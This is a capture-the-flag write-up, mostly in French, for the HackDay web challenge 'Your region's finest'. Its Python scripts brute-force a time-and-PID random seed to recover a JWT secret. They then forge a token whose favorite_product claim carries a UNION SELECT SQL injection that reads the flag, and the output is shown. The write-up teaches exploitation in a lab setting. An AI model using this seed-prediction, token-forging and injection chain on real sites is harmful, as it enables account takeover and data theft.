Your region's finest

Flag: HACKDAY{Th4t_s_S0m3_g000000000000d_qu4lity!}

Challenge

Description


You’ve been informed that a website might be serving as a front for a large criminal network. Part of their revenue supposedly comes from selling cookies that can make you float like an airship… A rather tempting proposition. Their slogan, it seems, is: "Always wondered how to get the coolest and the highest quality products in your region ? Search no more, this new website allows you to do so !"

Attachment : app.py , sha256 : 415a046c5c03ac1ff0646cae082503af9d6bf52b7ff6db00ff0009ab7f0b0bae

challenges.hackday.fr:58990

Solution

La première étape consiste à trouver la JWT_SECRET_KEY. Pour cela, on peut voir dans le app.py qu'elle est récupérée à partir de la librairie random. Celle-ci utilise une seed, créée à partir de l'heure de démarrage du serveur ainsi que son PID. Pour cela, il faut remarquer :

  • le chemin /healthz on peut déduire l'heure de démarrage

  • Le prix des items sur le site sont obtenus avec random

JWT Secret

On peut donc brute force le PID et vérifier notre résultat avec le prix des items. Si l'on trouve les mêmes prix, c'est qu'on avait la bonne seed et donc qu'on a généré le même secret.

import string
import requests
import time
from bs4 import BeautifulSoup
import random
from base64 import b64encode

URL = 'http://challenges.hackday.fr:58990'

def get_uptime() -> int:
  current = time.time()
  uptime = requests.get(f'{URL}/healthz').json()['uptime']
  return int(current - uptime)

up = get_uptime()
print(f'[i] up: {up}')


def get_prices() -> list[int]:
  soup = BeautifulSoup(requests.get(URL).content, 'html.parser')
  products = soup.find_all('div', {'class': 'product'})
  return [int(product.find('p').text.split(': ')[1].split('.')[0]) for product in products]

prices = get_prices()
print(f'[i] prices: {prices}')


for pid in range(2**16):
  random.seed(up + pid)
  secret_key = "".join(random.choice(string.printable) for _ in range(32))
  jwt_secret_key = "".join(random.choice(string.printable) for _ in range(32))
  generated_prices = [random.randrange(10, 100), random.randrange(10, 100), random.randrange(10, 100)]
  if generated_prices == prices:
    print(f'[+] PID: {pid}')
    print(f'[+] JWT SECRET KEY: {b64encode(jwt_secret_key.encode()).decode()}')
    break
[i] up: 1737615822
[i] prices: [43, 58, 40]
[+] PID: 3
[+] JWT SECRET KEY: RGRYUkZfVy4kMjh9W1ZFRVFCMwtiL3tjXwpxR3otKD4=

Injection SQL

On peut maintenant forger des JWT. Il faut s'en servir pour injecter dans la query SQL à la ligne 115. Ici, j'ai déjà créé un compte pour obtenir un JWT, il contient ceci :

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "fresh": false,
  "iat": 1737982200,
  "jti": "1c0faa6c-d462-47d0-be08-354abe0151df",
  "type": "access",
  "sub": "ThaySan",
  "nbf": 1737982200,
  "exp": 1737983100,
  "favorite_product": null
}

Il faut donc mettre notre injection dans le champ favorite_product et se rendre sur /favorite_product_info pour la déclencher.

import string
import requests
import time
from bs4 import BeautifulSoup
import random
from base64 import b64encode

URL = 'http://challenges.hackday.fr:58990'

def get_uptime() -> int:
  current = time.time()
  uptime = requests.get(f'{URL}/healthz').json()['uptime']
  return int(current - uptime)

up = get_uptime()
print(f'[i] up: {up}')


def get_prices() -> list[int]:
  soup = BeautifulSoup(requests.get(URL).content, 'html.parser')
  products = soup.find_all('div', {'class': 'product'})
  return [int(product.find('p').text.split(': ')[1].split('.')[0]) for product in products]

prices = get_prices()
print(f'[i] prices: {prices}')


for pid in range(2**16):
  random.seed(up + pid)
  secret_key = "".join(random.choice(string.printable) for _ in range(32))
  jwt_secret_key = "".join(random.choice(string.printable) for _ in range(32))
  generated_prices = [random.randrange(10, 100), random.randrange(10, 100), random.randrange(10, 100)]
  if generated_prices == prices:
    print(f'[+] PID: {pid}')
    print(f'[+] JWT SECRET KEY: {b64encode(jwt_secret_key.encode()).decode()}')
    break


# Part 2
import jwt

injection = "1 UNION SELECT id, flag, NULL, NULL, NULL, NULL from flag"
payload = {
  "fresh": False,
  "jti": "1c0faa6c-d462-47d0-be08-354abe0151df",
  "type": "access",
  "sub": "ThaySan",
  "favorite_product": injection
}
access_token = jwt.encode(payload, jwt_secret_key, algorithm="HS256")
print(f'[+] JWT SECRET KEY: {access_token}')

response = requests.get(f'{URL}/favorite_product_info', headers={'Cookie': f'access_token_cookie={access_token}'})
soup = BeautifulSoup(response.content, 'html.parser')
print(f'[i] Flag: {soup.find("h2").text}')
[i] up: 1737615822
[i] prices: [43, 58, 40]
[+] PID: 3
[+] JWT SECRET KEY: RGRYUkZfVy4kMjh9W1ZFRVFCMwtiL3tjXwpxR3otKD4=
[+] JWT SECRET KEY: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImp0aSI6IjFjMGZhYTZjLWQ0NjItNDdkMC1iZTA4LTM1NGFiZTAxNTFkZiIsInR5cGUiOiJhY2Nlc3MiLCJzdWIiOiJUaGF5U2FuIiwiZmF2b3JpdGVfcHJvZHVjdCI6IjEgVU5JT04gU0VMRUNUIGlkLCBmbGFnLCBOVUxMLCBOVUxMLCBOVUxMLCBOVUxMIGZyb20gZmxhZyJ9.Rjod_rZOUhK-bfjkgo0mSzfxn9Zcx_l4NtULaOC-glQ
[i] Flag: HACKDAY{Th4t_s_S0m3_g000000000000d_qu4lity!}

Dernière mise à jour

Cet article vous a-t-il été utile ?